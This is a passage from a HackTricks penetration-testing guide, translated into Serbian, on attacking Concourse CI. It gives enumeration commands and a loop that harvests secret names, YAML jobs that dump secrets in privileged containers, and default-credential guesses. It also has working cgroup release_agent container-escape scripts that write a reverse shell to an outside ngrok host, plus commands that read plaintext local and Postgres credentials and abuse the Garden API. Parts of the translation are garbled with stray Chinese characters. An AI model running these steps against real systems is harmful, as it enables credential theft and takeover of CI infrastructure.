Concourse Enumeration & Attacks

Reading time: 15 minutes

Concourse Enumeration & Attacks

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks

User Roles & Permissions

Concourse dolazi sa pet uloga:

  • Concourse Admin: Ova uloga se dodeljuje samo vlasnicima glavnog tima (podrazumevani inicijalni concourse tim). Admini mogu konfigurisati druge timove (npr.: fly set-team, fly destroy-team...). Dozvole ove uloge ne mogu biti pogođene RBAC-om.
  • owner: Vlasnici tima mogu modifikovati sve unutar tima.
  • member: Članovi tima mogu čitati i pisati unutar sredstava tima ali ne mogu modifikovati postavke tima.
  • pipeline-operator: Operatori pipeline-a mogu izvoditi operacije pipeline-a kao što su pokretanje build-ova i pinovanje resursa, međutim ne mogu ažurirati konfiguracije pipeline-a.
  • viewer: Gledaoci tima imaju "samo za čitanje" pristup timu i njegovim pipeline-ima.

note

Pored toga, dozvole uloga owner, member, pipeline-operator i viewer mogu biti modifikovane konfigurišući RBAC (konfigurišući preciznije njegove akcije). Pročitajte više o tome na: https://concourse-ci.org/user-roles.html

Napomena da Concourse grupiše pipeline-e unutar timova. Stoga korisnici koji pripadaju timu mogu upravljati tim pipeline-ima i several Teams može postojati. Korisnik može pripadati više timovima i imati različite dozvole unutar svakog od njih.

Vars & Credential Manager

U YAML konfiguracijama možete konfigurisati vrednosti koristeći sintaksu ((_source-name_:_secret-path_._secret-field_)).
Iz dokumenata: source-name je opcionalan, i ako se izostavi, koristiće se cluster-wide credential manager, ili se vrednost može pružiti statički.
Opcionalni _secret-field_ specificira polje na preuzetom tajnom podatku koje treba pročitati. Ako se izostavi, menadžer kredencijala može izabrati da pročita 'podrazumevano polje' iz preuzetog kredencijala ako polje postoji.
Pored toga, secret-path i secret-field mogu biti okruženi dvostrukim navodnicima "..." ako sadrže posebne karaktere kao što su . i :. Na primer, ((source:"my.secret"."field:1")) će postaviti secret-path na my.secret i secret-field na field:1.

Static Vars

Statičke varijable mogu biti specificirane u koracima zadataka:

yaml
- task: unit-1.13
file: booklit/ci/unit.yml
vars: { tag: 1.13 }

Ili koristeći sledeće fly argumente:

  • -v ili --var NAME=VALUE postavlja string VALUE kao vrednost za var NAME.
  • -y ili --yaml-var NAME=VALUE parsira VALUE kao YAML i postavlja ga kao vrednost za var NAME.
  • -i ili --instance-var NAME=VALUE parsira VALUE kao YAML i postavlja ga kao vrednost za instancu var NAME. Pogledajte Grouping Pipelines da biste saznali više o instancama var.
  • -l ili --load-vars-from FILE učitava FILE, YAML dokument koji sadrži mapiranje imena var na vrednosti, i postavlja ih sve.

Upravljanje akreditivima

Postoje različiti načini na koje se Upravljač akreditivima može specificirati u pipeline-u, pročitajte kako u https://concourse-ci.org/creds.html.
Pored toga, Concourse podržava različite upravljače akreditivima:

caution

Imajte na umu da ako imate neku vrstu pristupa za pisanje Concourse-u možete kreirati poslove za ekstrakciju tih tajni jer Concourse mora imati mogućnost pristupa njima.

Concourse Enumeracija

Da biste enumerisali Concourse okruženje, prvo morate prikupiti važeće akreditive ili pronaći autentifikovani token, verovatno u .flyrc konfiguracionom fajlu.

Prijava i trenutni korisnik enum

  • Da biste se prijavili, morate znati endpoint, ime tima (podrazumevano je main) i tim kojem korisnik pripada:
  • fly --target example login --team-name my-team --concourse-url https://ci.example.com [--insecure] [--client-cert=./path --client-key=./path]
  • Dobijte konfigurisane ciljeve:
  • fly targets
  • Proverite da li je konfigurisana veza sa ciljem još uvek važeća:
  • fly -t <target> status
  • Dobijte ulogu korisnika u odnosu na navedeni cilj:
  • fly -t <target> userinfo

note

Imajte na umu da je API token sačuvan u $HOME/.flyrc podrazumevano, dok pretražujete mašine mogli biste pronaći akreditive tamo.

Timovi i korisnici

  • Dobijte listu timova
  • fly -t <target> teams
  • Dobijte uloge unutar tima
  • fly -t <target> get-team -n <team-name>
  • Dobijte listu korisnika
  • fly -t <target> active-users

Pipeline-i

  • Lista pipeline-a:
  • fly -t <target> pipelines -a
  • Dobijte pipeline yaml (osetljive informacije mogu se naći u definiciji):
  • fly -t <target> get-pipeline -p <pipeline-name>
  • Dobijte sve konfigurisane var pipeline-a
  • for pipename in $(fly -t <target> pipelines | grep -Ev "^id" | awk '{print $2}'); do echo $pipename; fly -t <target> get-pipeline -p $pipename -j | grep -Eo '"vars":[^}]+'; done
  • Dobijte sve nazive tajni pipeline-a koje se koriste (ako možete kreirati/modifikovati posao ili preuzeti kontejner, mogli biste ih ekstraktovati):
bash
rm /tmp/secrets.txt;
for pipename in $(fly -t onelogin pipelines | grep -Ev "^id" | awk '{print $2}'); do
echo $pipename;
fly -t onelogin get-pipeline -p $pipename | grep -Eo '\(\(.*\)\)' | sort | uniq | tee -a /tmp/secrets.txt;
echo "";
done
echo ""
echo "ALL SECRETS"
cat /tmp/secrets.txt | sort | uniq
rm /tmp/secrets.txt

Kontejneri i Radnici

  • Lista radnika:
  • fly -t <target> workers
  • Lista kontejnera:
  • fly -t <target> containers
  • Lista buildova (da vidite šta se izvršava):
  • fly -t <target> builds

Concourse Napadi

Brute-Force Akreditivi

  • admin:admin
  • test:test

Enumeracija Tajni i Parametara

U prethodnom odeljku smo videli kako možete dobiti sve nazive i varijable tajni koje koristi pipeline. Varijable mogu sadržati osetljive informacije i naziv tajni će biti koristan kasnije za pokušaj krađe.

Sesija unutar pokrenutog ili nedavno pokrenutog kontejnera

Ako imate dovoljno privilegija (member role ili više) moći ćete da lista pipeline-ove i uloge i jednostavno dobijete sesiju unutar <pipeline>/<job> kontejnera koristeći:

bash
fly -t tutorial intercept --job pipeline-name/job-name
fly -t tutorial intercept # To be presented a prompt with all the options

Sa ovim dozvolama možda ćete moći da:

  • Uk盗ite tajne unutar kontejnera
  • Pokušate da pobegnete na čvor
  • Enumerišete/Iskoristite cloud metadata endpoint (iz poda i sa čvora, ako je moguće)

Kreiranje/Modifikacija Pipeline-a

Ako imate dovoljno privilegija (član ulogu ili više) moći ćete da kreirate/modifikujete nove pipeline-e. Pogledajte ovaj primer:

yaml
jobs:
- name: simple
plan:
- task: simple-task
privileged: true
config:
# Tells Concourse which type of worker this task should run on
platform: linux
image_resource:
type: registry-image
source:
repository: busybox # images are pulled from docker hub by default
run:
path: sh
args:
- -cx
- |
echo "$SUPER_SECRET"
sleep 1000
params:
SUPER_SECRET: ((super.secret))

Sa modifikacijom/kreiranjem novog pipeline-a moći ćete da:

  • Uk盗 tajne (putem njihovog ispisivanja ili ulaskom u kontejner i pokretanjem env)
  • Pobegnete na čvor (dajući vam dovoljno privilegija - privileged: true)
  • Enumerišete/Iskoristite cloud metadata endpoint (iz poda i iz čvora)
  • Obrišete kreirani pipeline

Izvršite Prilagođeni Zadatak

Ovo je slično prethodnoj metodi, ali umesto modifikovanja/kreiranja celog novog pipeline-a, možete samo izvršiti prilagođeni zadatak (što će verovatno biti mnogo diskretnije):

yaml
# For more task_config options check https://concourse-ci.org/tasks.html
platform: linux
image_resource:
type: registry-image
source:
repository: ubuntu
run:
path: sh
args:
- -cx
- |
env
sleep 1000
params:
SUPER_SECRET: ((super.secret))
bash
fly -t tutorial execute --privileged --config task_config.yml

Bekstvo na čvor iz privilegovane zadatke

U prethodnim sekcijama smo videli kako da izvršimo privilegovanu zadatak sa concourse. Ovo neće dati kontejneru potpuno isti pristup kao privilegovana oznaka u docker kontejneru. Na primer, nećete videti uređaj datotečnog sistema čvora u /dev, tako da bi bekstvo moglo biti "kompleksnije".

U sledećem PoC-u ćemo koristiti release_agent za bekstvo sa nekim malim izmenama:

bash
# Mounts the RDMA cgroup controller and create a child cgroup
# If you're following along and get "mount: /tmp/cgrp: special device cgroup does not exist"
# It's because your setup doesn't have the memory cgroup controller, try change memory to rdma to fix it
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release


# CHANGE ME
# The host path will look like the following, but you need to change it:
host_path="/mnt/vda1/hostpath-provisioner/default/concourse-work-dir-concourse-release-worker-0/overlays/ae7df0ca-0b38-4c45-73e2-a9388dcb2028/rootfs"

## The initial path "/mnt/vda1" is probably the same, but you can check it using the mount command:
#/dev/vda1 on /scratch type ext4 (rw,relatime)
#/dev/vda1 on /tmp/build/e55deab7 type ext4 (rw,relatime)
#/dev/vda1 on /etc/hosts type ext4 (rw,relatime)
#/dev/vda1 on /etc/resolv.conf type ext4 (rw,relatime)

## Then next part I think is constant "hostpath-provisioner/default/"

## For the next part "concourse-work-dir-concourse-release-worker-0" you need to know how it's constructed
# "concourse-work-dir" is constant
# "concourse-release" is the consourse prefix of the current concourse env (you need to find it from the API)
# "worker-0" is the name of the worker the container is running in (will be usually that one or incrementing the number)

## The final part "overlays/bbedb419-c4b2-40c9-67db-41977298d4b3/rootfs" is kind of constant
# running `mount | grep "on / " | grep -Eo "workdir=([^,]+)"` you will see something like:
# workdir=/concourse-work-dir/overlays/work/ae7df0ca-0b38-4c45-73e2-a9388dcb2028
# the UID is the part we are looking for

# Then the host_path is:
#host_path="/mnt/<device>/hostpath-provisioner/default/concourse-work-dir-<concourse_prefix>-worker-<num>/overlays/<UID>/rootfs"

# Sets release_agent to /path/payload
echo "$host_path/cmd" > /tmp/cgrp/release_agent


#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

warning

Kao što ste možda primetili, ovo je samo regular release_agent escape samo modifikovanjem putanje cmd-a u čvoru

Bekstvo do čvora iz Worker kontejnera

Regularan release_agent escape sa manjom modifikacijom je dovoljan za ovo:

bash
mkdir /tmp/cgrp && mount -t cgroup -o memory cgroup /tmp/cgrp && mkdir /tmp/cgrp/x

# Enables cgroup notifications on release of the "x" cgroup
echo 1 > /tmp/cgrp/x/notify_on_release
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab | head -n 1`
echo "$host_path/cmd" > /tmp/cgrp/release_agent

#====================================
#Reverse shell
echo '#!/bin/bash' > /cmd
echo "bash -i >& /dev/tcp/0.tcp.ngrok.io/14966 0>&1" >> /cmd
chmod a+x /cmd
#====================================
# Get output
echo '#!/bin/sh' > /cmd
echo "ps aux > $host_path/output" >> /cmd
chmod a+x /cmd
#====================================

# Executes the attack by spawning a process that immediately ends inside the "x" child cgroup
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs"

# Reads the output
cat /output

Bekstvo na čvor iz Web kontejnera

Čak i ako web kontejner ima neke odbrane onemogućene, ne radi kao uobičajen privilegovan kontejner (na primer, ne možete montirati i kapaciteti su veoma ograničeni, tako da su svi laki načini za bekstvo iz kontejnera beskorisni).

Međutim, čuva lokalne akreditive u čistom tekstu:

bash
cat /concourse-auth/local-users
test:test

env | grep -i local_user
CONCOURSE_MAIN_TEAM_LOCAL_USER=test
CONCOURSE_ADD_LOCAL_USER=test:test

Možete koristiti te akreditive da se prijavite na veb server i napravite privilegovanu kontejner i pobegnete na čvor.

U okruženju takođe možete pronaći informacije za pristup postgresql instanci koju koristi concourse (adresa, korisničko ime, lozinka i baza podataka među ostalim informacijama):

bash
env | grep -i postg
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_ADDR=10.107.191.238
CONCOURSE_RELEASE_POSTGRESQL_PORT_5432_TCP_PORT=5432
CONCOURSE_RELEASE_POSTGRESQL_SERVICE_PORT_TCP_POSTGRESQL=5432
CONCOURSE_POSTGRES_USER=concourse
CONCOURSE_POSTGRES_DATABASE=concourse
CONCOURSE_POSTGRES_PASSWORD=concourse
[...]

# Access the postgresql db
psql -h 10.107.191.238 -U concourse -d concourse
select * from password; #Find hashed passwords
select * from access_tokens;
select * from auth_code;
select * from client;
select * from refresh_token;
select * from teams; #Change the permissions of the users in the teams
select * from users;

Zloupotreba Garden Service - Nije pravi napad

warning

Ovo su samo neke zanimljive beleške o servisu, ali pošto sluša samo na localhost-u, ove beleške neće imati nikakav uticaj koji već nismo iskoristili ranije

Po defaultu, svaki concourse radnik će pokretati Garden servis na portu 7777. Ovaj servis koristi Web master da označi radniku šta treba da izvrši (preuzmi sliku i pokreni svaku zadatak). Ovo zvuči prilično dobro za napadača, ali postoje neka dobra zaštita:

  • On je samo izložen lokalno (127..0.0.1) i mislim da kada se radnik autentifikuje prema Web-u sa posebnim SSH servisom, stvara se tunel tako da web server može da komunicira sa svakim Garden servisom unutar svakog radnika.
  • Web server prati pokretne kontejnere svake nekoliko sekundi, i neočekivani kontejneri se brišu. Dakle, ako želite da pokrenete prilagođeni kontejner, morate da manipulišete sa komunikacijom između web servera i garden servisa.

Concourse radnici rade sa visokim privilegijama kontejnera:

Container Runtime: docker
Has Namespaces:
pid: true
user: false
AppArmor Profile: kernel
Capabilities:
BOUNDING -> chown dac_override dac_read_search fowner fsetid kill setgid setuid setpcap linux_immutable net_bind_service net_broadcast net_admin net_raw ipc_lock ipc_owner sys_module sys_rawio sys_chroot sys_ptrace sys_pacct sys_admin sys_boot sys_nice sys_resource sys_time sys_tty_config mknod lease audit_write audit_control setfcap mac_override mac_admin syslog wake_alarm block_suspend audit_read
Seccomp: disabled

Međutim, tehnike poput montiranja /dev uređaja čvora ili release_agent neće raditi (jer pravi uređaj sa datotečnim sistemom čvora nije dostupan, samo virtuelni). Ne možemo pristupiti procesima čvora, pa je bekstvo iz čvora bez kernel exploit-a komplikovano.

note

U prethodnom odeljku smo videli kako da pobegnemo iz privilegovanog kontejnera, tako da ako možemo izvršiti komande u privilegovanom kontejneru koji je kreirao trenutni radnik, mogli bismo pobegnuti na čvor.

Napomena: igrajući se sa concourse-om, primetio sam da kada se novi kontejner pokrene da bi nešto izvršio, procesi kontejnera su dostupni iz radnog kontejnera, tako da je to kao kontejner koji kreira novi kontejner unutar sebe.

Ulazak u pokrenuti privilegovani kontejner

bash
# Get current container
curl 127.0.0.1:7777/containers
{"Handles":["ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

# Get container info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/info
curl 127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/properties

# Execute a new process inside a container
## In this case "sleep 20000" will be executed in the container with handler ac793559-7f53-4efc-6591-0171a0391e53
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

# OR instead of doing all of that, you could just get into the ns of the process of the privileged container
nsenter --target 76011 --mount --uts --ipc --net --pid -- sh

Kreiranje novog privilegovanog kontejnera

Možete vrlo lako kreirati novi kontejner (samo pokrenite nasumični UID) i izvršiti nešto na njemu:

bash
curl -X POST http://127.0.0.1:7777/containers \
-H 'Content-Type: application/json' \
-d '{"handle":"123ae8fc-47ed-4eab-6b2e-123458880690","rootfs":"raw:///concourse-work-dir/volumes/live/ec172ffd-31b8-419c-4ab6-89504de17196/volume","image":{},"bind_mounts":[{"src_path":"/concourse-work-dir/volumes/live/9f367605-c9f0-405b-7756-9c113eba11f1/volume","dst_path":"/scratch","mode":1}],"properties":{"user":""},"env":["BUILD_ID=28","BUILD_NAME=24","BUILD_TEAM_ID=1","BUILD_TEAM_NAME=main","ATC_EXTERNAL_URL=http://127.0.0.1:8080"],"limits":{"bandwidth_limits":{},"cpu_limits":{},"disk_limits":{},"memory_limits":{},"pid_limits":{}}}'

# Wget will be stucked there as long as the process is being executed
wget -v -O- --post-data='{"id":"task2","path":"sh","args":["-cx","sleep 20000"],"dir":"/tmp/build/e55deab7","rlimits":{},"tty":{"window_size":{"columns":500,"rows":500}},"image":{}}' \
--header='Content-Type:application/json' \
'http://127.0.0.1:7777/containers/ac793559-7f53-4efc-6591-0171a0391e53/processes'

Međutim, veb server proverava svake nekoliko sekundi kontejnere koji se izvršavaju, i ako se otkrije neočekivani, biće obrisan. Pošto se komunikacija odvija u HTTP-u, mogli biste da manipulišete komunikacijom kako biste izbegli brisanje neočekivanih kontejnera:

GET /containers HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.
.

T 127.0.0.1:7777 -> 127.0.0.1:59722 [AP] #157
HTTP/1.1 200 OK.
Content-Type: application/json.
Date: Thu, 17 Mar 2022 22:42:55 GMT.
Content-Length: 131.
.
{"Handles":["123ae8fc-47ed-4eab-6b2e-123458880690","ac793559-7f53-4efc-6591-0171a0391e53","c6cae8fc-47ed-4eab-6b2e-f3bbe8880690"]}

T 127.0.0.1:59722 -> 127.0.0.1:7777 [AP] #159
DELETE /containers/123ae8fc-47ed-4eab-6b2e-123458880690 HTTP/1.1.
Host: 127.0.0.1:7777.
User-Agent: Go-http-client/1.1.
Accept-Encoding: gzip.

Reference

  • https://concourse-ci.org/vars.html

tip

Učite i vežbajte AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Učite i vežbajte GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Učite i vežbajte Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Podržite HackTricks